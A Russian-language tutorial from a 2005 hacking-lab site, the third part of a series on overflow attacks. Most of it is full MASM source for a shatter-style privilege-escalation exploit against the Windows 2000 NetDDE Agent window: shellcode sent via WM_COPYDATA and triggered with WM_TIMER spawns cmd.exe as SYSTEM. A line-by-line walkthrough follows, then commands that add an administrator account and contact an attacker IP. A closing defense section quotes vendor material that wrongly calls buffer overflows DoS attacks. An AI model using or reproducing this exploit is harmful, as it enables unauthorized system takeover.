Welcome to The Passion Of Code Laboratory!!!Статьи

Атаки на переполнение.
3. Получаем права системы.

Автор:_follower / TPOC

Итак, начнем нашу последнюю часть статьи. Может кого-то утомляют долгие рассказы без рабочего примера. Для нетерпеливых - исходник (под Win2000SP4 без файрволов типа OutPost и иже с ними). Принципиально то, чтобы программа была запущена сразу после полной перезагрузки. Компилируем как консольное приложение. Запускаем.

;------2.asm
.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\msvcrt.lib

memcpy proto c:DWORD,:DWORD,:DWORD
memset proto c:DWORD,:DWORD,:DWORD
malloc proto c:DWORD

.data
szFormat DB " = 0x%08lX",13,10,0
szFormat_Error_SendM DB "SendMessage GetLastError() = %d",0
szFormat_Error_PostM DB "PostMessage GetLastError() = %d",0
szInfoLine_1 db " Дискриптор окна равен",0
szSendMessage_OK db " SendMessage() - выполнен успешно.",13,10,0
szPostMessage_OK DB " PostMessage() - выполнен успешно.",13,10,0

szError_FindWindow DB "Окно не найдено, проверьте пераметры FindWindow()",13,10,0
lf db 0,13,10

szKernel32 DB "kernel32.dll",0
szExitProcess DB "ExitProcess",0
szWinExec DB "WinExec",0
szCreateProcessA DB 'CreateProcessA',0

;структура передачи данных по сообщению WM_COPYDATA
copy_data COPYDATASTRUCT <>

_Kernel32 DD 0
hWnd DD 0
hMemory DD 0
pMemory DD 0
szClassName db "NDDEAgnt", 0
szWindowName db "NetDDE Agent", 0
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
_shell_code db 8Bh, 0F4h ; mov ESI,ESP
push 0 ; db 6Ah, 00h
db 68h, 2Eh, 65h, 78h, 65h ; push '.exe'
db 68h, 00h, 63h, 6Dh, 64h ; push 'dmc'
db 68h, 61h, 75h, 6Ch, 74h ; push 'tlua'
db 68h, 5Ch, 44h, 65h, 66h ; push 'feD\'
db 68h, 53h, 74h, 61h, 30h ; push '0atS'
db 68h, 00h, 57h, 69h, 6Eh ; push 'niW'

mov EDX,ESP ; db 8Bh, 0D4h
inc EDX ; db 42h

mov ECX,54h ; db 0B9h, 50h, 00h, 00h, 00h
push 0 ; db 6Ah, 00h
LOOP $ - 2 ; db 0E2h, 0FCh

push 44h ; db 6Ah, 44h

add ESP,0Ch ; db 83h, 0C4h, 0Ch
push EDX ; db 52h
sub ESP,0Ch ; db 83h, 0ECh, 0Ch
mov EAX,ESP ; db 8Bh, 0C4h
add EAX,10h ; db 83h, 0C0h, 10h
push EAX ; db 50h

mov EAX,ESP ; db 8Bh, 0C4h
add EAX,08h ; db 83h, 0C0h, 08h
push EAX ; db 50h

push 0 ; db 6Ah, 00h
push 0 ; db 6Ah, 00h
push 0 ; db 6Ah, 00h
push 0 ; db 6Ah, 00h
push 0 ; db 6Ah, 00h
push 0 ; db 6Ah, 00h

add EDX,10h ; db 83h, 0C2h, 10h
push EDX ; db 52h

push 0 ; db 6Ah, 00h
db 0B8h ; mov EAX, ...
_CreateProcessA DD ? ; ....
CALL EAX ; db 0FFh, 0D0h
mov ESP,ESI ; db 8Bh, 0E6h
ret ; db 0C3h

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
len_ EQU $ - _shell_code

.data?
clBuffer DB ?
cyrBuffer DB ?
;----------------------------------------------
.code
start:

invoke LoadLibrary,ADDR szKernel32
mov _Kernel32,EAX

invoke GetProcAddress, _Kernel32,ADDR szCreateProcessA
mov _CreateProcessA,EAX

invoke malloc,1000
mov pMemory,eax

invoke memset, pMemory, 90h, 1000
invoke memcpy, pMemory, OFFSET _shell_code, len_

mov copy_data.dwData,0
mov copy_data.cbData,1000
mov EAX, pMemory
mov copy_data.lpData,EAX

invoke FindWindow,ADDR szClassName, ADDR szWindowName
mov hWnd,EAX
.if eax==0

invoke StdOut,ADDR lf
invoke CharToOem, ADDR szError_FindWindow,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
.else

invoke StdOut,ADDR lf
invoke StdOut,ADDR lf
invoke CharToOem, ADDR szInfoLine_1,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer

INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat,hWnd
invoke StdOut,ADDR clBuffer
invoke StdOut,ADDR lf
.endif


invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data
invoke GetLastError
.IF EAX !=0
INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_SendM,EAX
invoke StdOut,ADDR clBuffer
.ELSE
invoke CharToOem, ADDR szSendMessage_OK,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
.ENDIF

invoke PostMessage, hWnd,WM_TIMER,0,0080FA78h;8452728
.IF EAX!=0
invoke CharToOem, ADDR szPostMessage_OK,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
.ELSE
invoke GetLastError
INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_PostM,EAX
invoke StdOut,ADDR clBuffer
.ENDIF

invoke ExitProcess,0
;----------------------------------------------
end start

Нетерпеливые отошли. А мы давайте разберем все по порядку.
Во-первых, shell код лучше рассматривать в рамках программы из главы 1. Там Вы отследите выполнение кода и Вам это будет легче сделать. Иными словами работаем с программой …\2\_2\_2.asm.

На мой взгляд, таким методом можно вооружиться на будущее. Итак, shell отлаживаем в программе оболочке, которую сами и написали на протяжении первой главы.

1)

_shell_code db 8Bh, 0F4h ; mov ESI,ESP
push 0 ; db 6Ah, 00h
db 68h, 2Eh, 65h, 78h, 65h ; push '.exe'
db 68h, 00h, 63h, 6Dh, 64h ; push 'dmc'
db 68h, 61h, 75h, 6Ch, 74h ; push 'tlua'
db 68h, 5Ch, 44h, 65h, 66h ; push 'feD\'
db 68h, 53h, 74h, 61h, 30h ; push '0atS'
db 68h, 00h, 57h, 69h, 6Eh ; push 'niW'

Ну приступим :) Весь наш shell составляет процедура запуска функции CreateProcessA(). Распишем себе входные параметры этой функции:

BOOL CreateProcessAsUser(
HANDLE hToken , // дескриптор маркера пользователя
LPCTSTR lpApplicationName , // имя исполняемого модуля
LPTSTR lpCommandLine, // командная строка
LPSECURITY_ATTRIBUTES lpProcessAttributes , // SD (дескриптор безопасности)
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
BOOL bInheritHandles, // дескриптор параметра наследования
DWORD dwCreationFlags, // флажки создания
LPVOID lpEnvironment, // новый блок конфигурации
LPCTSTR lpCurrentDirectory, // имя текущего каталога
LPSTARTUPINFO lpStartupInfo, // информация предустановки
LPPROCESS_INFORMATION lpProcessInformation // информация о процессе
);

Распишем только те параметры, которые намерены указать.

lpApplicationName

[in] Указатель на строку с нулем в конце, которая определяет модуль исполняемого кода. Заданный модуль может быть базирующейся на Windows прикладной программой. Это может быть какой-то другой тип модуля (например, MS-DOS или OS/2), если соответствующая подсистема доступна на локальном компьютере.
Строка может указывать полный путь и имя файла исполняемого модуля или она может определять часть имени. В случае если это часть имени, функция использует текущий диск и текущий каталог, чтобы завершить определение. Функция не будет использовать найденный путь. Если имя файла не содержит расширение, подразумевается расширение .exe. Поэтому, если расширение имени файла - .com, этот параметр должен включить в себя расширение .com.
Параметр lpApplicationName может быть значением ПУСТО (NULL). В этом случае, имя модуля должно быть в строке lpCommandLine как первое незаполненное пространство, разграниченное маркером.
Если Вы используете длинное имя файла, которое содержит пробел, применяйте строки в кавычках, чтобы обозначить, где имя файла заканчивается, и начинаются параметры; иначе, имя файла становится неоднозначным. Например, рассмотрим строку " c:\program files\sub dir\program name ". Эта строка может интерпретироваться несколькими способами. Попытки системы интерпретировать ее, возможны в нижеследующем порядке:


c:\program.exe files\sub dir\program name
c:\program files\sub.exe dir\program name
c:\program files\sub dir\program.exe name
c:\program files\sub dir\program name.exe



Если выполняемый модуль - 16-разрядное приложение, параметр lpApplicationName должен быть значением ПУСТО (NULL), а строка, указанная в параметре lpCommandLine должна задать выполняемый модуль, также как его параметры. По умолчанию, все 16-разрядные, базирующиеся на Windows прикладные программы, созданные функцией CreateProcessAsUser, работают в отдельной виртуальной машине DOS (VDM) (эквивалент CREATE_SEPARATE_WOW_VDM в функции CreateProcess).

lpStartupInfo

[in] Указатель на структуру STARTUPINFO, которая устанавливает оконный режим терминала, рабочий стол, стандартные дескрипторы и внешний вид главного окна для нового процесса.

STARTUPINFO STRUCT                = 68 байт [10] = 44 [16]
 cb                DWORD      ?        000000
44
 lpReserved        DWORD      ?        00000000
lpDesktop         DWORD      ?        0012FFA5        -> “Winsta0\default”
 lpTitle           DWORD      ?        00000000
 dwX               DWORD      ?        00000000
 dwY               DWORD      ?        00000000
 dwXSize           DWORD      ?        00000000
 dwYSize           DWORD      ?        00000000
 dwXCountChars     DWORD      ?        00000000
 dwYCountChars     DWORD      ?        00000000
 dwFillAttribute   DWORD      ?        00000000
 dwFlags           DWORD      ?        00000000
 wShowWindow       WORD       ?        0000
 cbReserved2       WORD       ?        0000
 lpReserved2       DWORD      ?        00000000
 hStdInput         DWORD      ?        00000000
 hStdOutput        DWORD      ?        00000000
 hStdError         DWORD      ?        00000000
STARTUPINFO ENDS


Структура STARTUPINFO используется с функцией CreateProcess, чтобы определить главные свойства окна, если новое окно создано для нового процесса. Для графического интерфейса пользователя (GUI) процессы, эта информация воздействует на первое окно, созданное функцией CreateWindow и показанный функцией ShowWindow. Для процессов пульта, эта информация воздействует на окно пульта, если новый пульт создан для процесса. Процесс может использовать функцию GetStartupInfo, чтобы восстановить структуру STARTUPINFO, определил, когда процесс был создан.

lpProcessInformation

[out] Указатель на структуру PROCESS_INFORMATION, которая принимает идентифицирующую информацию о новом процессе.
Дескрипторы в структуре PROCESS_INFORMATION, когда они больше не нужны, должны быть закрыты функцией CloseHandle.

PROCESS_INFORMATION STRUCT        =16 байт [10] = 10 [16]
 hProcess      DWORD      ?
 hThread       DWORD      ?
 dwProcessId   DWORD      ?
 dwThreadId    DWORD      ?
PROCESS_INFORMATION ENDS

 

Поскольку весь наш код будет выполняться в стеке, нам нужно все данные поместить в стеке. Покажем себе, что мы хотим получить на выходе:

Рис.1.

Image1

Рис.2.

Image2

Обратите внимание на выделенные пункты на рисунке. Признаюсь в ходе своих разбирательств я рискнул убрать код занесения в стек числа 44 размера структуры и указателя на строку “Winsta0\default” . (Вы можете посмотреть на результат этой попытки, программы 3.asm и 3.exe.) Однако при запуске Вы опять таки не получите окна cmd. Дело, видимо в том, что порожденное окно наследует параметры “предка” WinLogon а, который невидим, и само невидимо. Но получив листинг процессов ( например, с помощью утилиты tlist.exe, она также в общем архиве ) и все Ваши попытки отразятся невидимыми сеансами cmd.exe.
Что это за строка такая Winsta0\default. Я приведу здесь выдержки из найденного мной материала.

Дело в том, что в Win2000 каждый процесс сопоставлен с такими ”возвышенными” понятиями ( в частности для меня ) как оконная станция и рабочий стол ( windows station и рабочий стол). Эти понятия служат для управлением доступа к системным объектам.

Все системные объекты Windows ( файлы в нашем случае) имеют свой дескрипторы безопасности. В тот момент когда приложение пытается получить доступ к системному объекту с помощью дескриптора безопасности файла принимается решение в вопросе “ … имееш ли право ты приложение получить доступ ко мне файлу…”. Однако, эта процедура ,видимо сильно усложняла им жизнь так как от нее отказались. Решили создать нечто , включающее все объекты и их дескрипторы сразу. Вот они этим нечто и есть Оконная станция и Рабочий стол. Манипулируя сущностями безопасности оконной станции и рабочего стола получили, и это видимо, допустимые решения.

Оконная станция содержит в себе буфер обмена, глобальные атомы, набор объектов рабочих столов. Одна из оконных станций имеет имя WinSta0 и она “общается с пользователем”, то есть она интерактивна. Интерактивна - значит она физически видна пользователю, она получает от него вводимые пользователем данные. Все другие рабочие станции не интерактивны, и как следствие, невидны пользователю.

Рабочий стол содержит в себе поверхность экрана, набор окон, меню и другое. Каждая оконная станция может иметь несколько рабочих столов, один из которых считается активным, он же виден пользователю.
Оконная станция WinSta0 содержит такие рабочие столы:

· Winlogon - это тот рабочий стол, на котором отображается приглашение входа в систему
· Default - на этом рабочем столе выполняются приложения интерактивного пользователя.
· ScrnSave - этот рабочий стол используется для программы-заставки.



То, с какой рабочей станцией связан процесс, влияет на его возможность взаимодействия с другими процессами. Итак выходим на понятие учетной записи процесса, которая включает в себя понятия Оконная станция и Рабочий стол.

Если учетная запись нашего процесса имеет вид:

Winsta0\default значит учетной записью приложения является LocalSystem, приложение будет выполняться на той же оконной станции и том же рабочем столе, что и приложения интерактивного пользователя.
 

2)

mov EDX,ESP
inc EDX ; сейчас в вершине стека адрес строки “Winsta0\default”
mov ECX,54h ; нам нужно в стеке получить массив из 54 нулевых DWORD ов
push 0
; прескочить на адрес на два бацта выше
;( на два этих байта - 6Ah,00h)
LOOP $ - 2
; проместим в стек зазмер структуры STARTUPINFO
push 44h
; после выделения массива 54 нулевых DWORD ов
; вернемся назад, в начало этого обнуленного массива
; путем прибавления к указателю начала стека нужного нам значения
add ESP,0Ch
; поместим в вершину нашей структуры указатель на строку “Winsta0\default”
push EDX
; вернемся в конец нашей STARTUPINFO
sub ESP,0Ch
; поместим в EAX адрес начала стека
mov EAX,ESP
; прибавим к EAX 10[16] получим адрес под
; указателем на строку “Winsta0\default”
add EAX,10h
; прместим в стек указатель на начало структуры
; PROCESS_INFORMATION
push EAX
; поместим в EAX адрес начала стека
; прибавим к EAX 8 получим адрес под
; указателем на структуру PROCESS_INFORMATION
mov EAX,ESP
add EAX,08h
; указателем на структуру STARTUPINFO
push EAX

; добавим недостающих нулевых DWORD ов
push 0
push 0
push 0
push 0
push 0
push 0
; получим в стек указатель на строку “cmd.exe”
add EDX,10h
push EDX
; еще один ноль в стек
push 0
db 0B8h ; mov EAX, ...
_CreateProcessA DD ? ; ....
; выполним _CreateProcessA()
CALL EAX
mov ESP,ESI
ret

 

3)

invoke malloc,1000
mov pMemory,eax
invoke memset, pMemory, 90h, 1000
invoke memcpy, pMemory, OFFSET _shell_code, len_

Мы используем эти функции для того чтобы выделить участок памяти, перенести туда наш код и передать указатель начала этой памяти в структуру COPYDATASTRUCT. Заполняем выделенную память мы командами NOP с кодом 90h, так искомый участок легче заметить.


4)

invoke PostMessage, hWnd,WM_TIMER,0,0080FA78h;8452728

Отошлем окну с дескриптором hWnd, послать сообщение WM_TIMER, требующая выполнить процедуру, начинающуюся по адресу 0080FA78h. Кажется все! В полученном консольном окне, для проверки наберите команду

net sessions - выводит список текущих пользователей, необходимо иметь права администратора. Если нет сообщения “Ошибка №5” Вы админ!

Ну теперь , наконец …

… повысим свои права.

Рис.3.

Image3

Краткие выводы.
Наверное таким образом и подключаются к удаленным пользователям используя переполнение стека :

cmd /c/q
"net user name password /add
net group Администраторы user /add
ping XXX.XXX.XXX.XXX
arp -a XXX.XXX.XXX.XXX"

где XXX.XXX.XXX.XXX мой IP …

Как же, спросите Вы с этим бороться?

1. Лучшим способом, конечно же, будет не подпускать к Вашей машине всяких “деятелей”.

2. Некоторые программы устанавливают контроль над областью памяти WinLogon. Это делает, например, OutPost Firewall, поэтому можно использовать и его.

3. … вот нашел на www.amd64.ru



 

AMD64 Execution Protection (NX-bit)
 


 

Компания AMD в своих 64-битных процессорах воплотила совершенно новую технологию защиты компьютеров от вирусов - AMD64 Execution Protection (NX-bit). Эта технология запрещает исполнение кода со страниц данных, препятствуя наиболее распространенному в последнее время типу вирусной атаки - Denial-of-Service (DoS). Этот тип атаки использовали такие вирусы как Slammer, Code Red, MSBlaster породившие наиболее известные мировые эпидемии и нанесшие многомиллиардные убытки по всему миру. Количество вирусов использующих подобную уязвимость компьютера постоянно растет, и около 50% всех Microsoft Security Bulletins за 2002 и 2003 были связаны с проблемами "buffer overflow" (исполнение кода со страниц данных). AMD64 Execution Protection значительно уменьшает риск заражения компьютера, отмечая системную память атрибутом (NX-bit), означающим, что код не должен исполняться из области данных.
 

Image4
 


 

Image5
 

Рассмотрим типовой сценарий атаки основанной на переполнении буфера. Вирусная программа для запуска вредоносного кода использует следующую схему:
    1. Входные данные текущей подпрограммы заполняют стек, начиная с последней страницы.
    2. Если вирусный процесс запишет в стек слишком много данных, то он перезапишет все ранее занесенные данные.
    3. Записывая данные далее, процесс перезаписывает оригинальную точку возврата из текущей подпрограммы.
    4. Сформировав обращение к такой подпрограмме, вирус добивается того, что процесс загружает в себя вредоносный код и записывает ссылку на него в качестве точки возврата из выполняемой им в этот момент подпрограммы.
    5. Как только подпрограмма, в которой осуществлялось чтение данных, закончит работу, процессор запускает вредоносный код, и атака успешно завершается.
 

Image6
 


Атаки такого рода оказались возможными, т.к. процессор может без препятствий выполнять код из любого места памяти. Теперь операционная система (причем как Windows, так Unix-системы) может пометить с помощью NX-бита страницы стека, запретив исполнение вирусного кода. И хотя переполнить буфер будет по-прежнему возможно (тем самым испортив выполняющуюся программу), запуститься такой код уже не сможет - процессор выдаст ошибку доступа к памяти.
Специалисты AMD и Microsoft полагают, что около половины обновлений безопасности Windows от Microsoft за последние два года не потребовались бы, будь тогда технология, подобная AMD64 Execution Protection.
Если Вам нужен компьютер или сервер с повышенной степенью защиты от сетевых атак, не требующий установки многих сервис-паков и обновлений, то Вашим выбором будет система на процессоре AMD Athlon 64 или AMD Opteron. Такое решение способно эффективно противостоять атакам определенных вирусов и червей (тех, которые вызывают переполнение буфера) и укрепить безопасность домашних и корпоративных компьютеров при работе с электронной почтой и просмотре содержимого Интернет-сайтов, а также усилить защиту сетей и памяти и уменьшить дальнейшее распространение вирусов.
Технология AMD64 Execution Protection доступна во всех 64-битных операционных системах и в обычной 32-битной среде Windows XP при условии установки SP2.
Технология Execution Protection, будучи неотъемлемой частью архитектуры AMD64, присутствует во всех процессорах AMD Athlon 64 и AMD Opteron и не требует переделки программ - только незначительной доработки операционной системы.


… так что все в скором будущем исправится. Но Вы отметили то, что как Вы вдруг стали понимать некоторые проблемы современной компьютерной науки? Я, после того как ощутил, был рад. Стало приятно от того что самообразование дало свои плоды :)

Мы совершили еще одно, увлекательное путешествие в мир MS Windows. Знания придают уверенность и повышают самоуважение. Знание сила! Ну, вот пока и все.

В этом месте можно сказать досвиданья уважаемый читатель!

Перечень используемого программного обеспечения:

[2.1] OllyDbg 1.09d by Oleh Yuschuk ( http://www.wasm.ru )
[2.2] - WinHex 10.0 SR-7 (http://www.winhex.com/)
 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)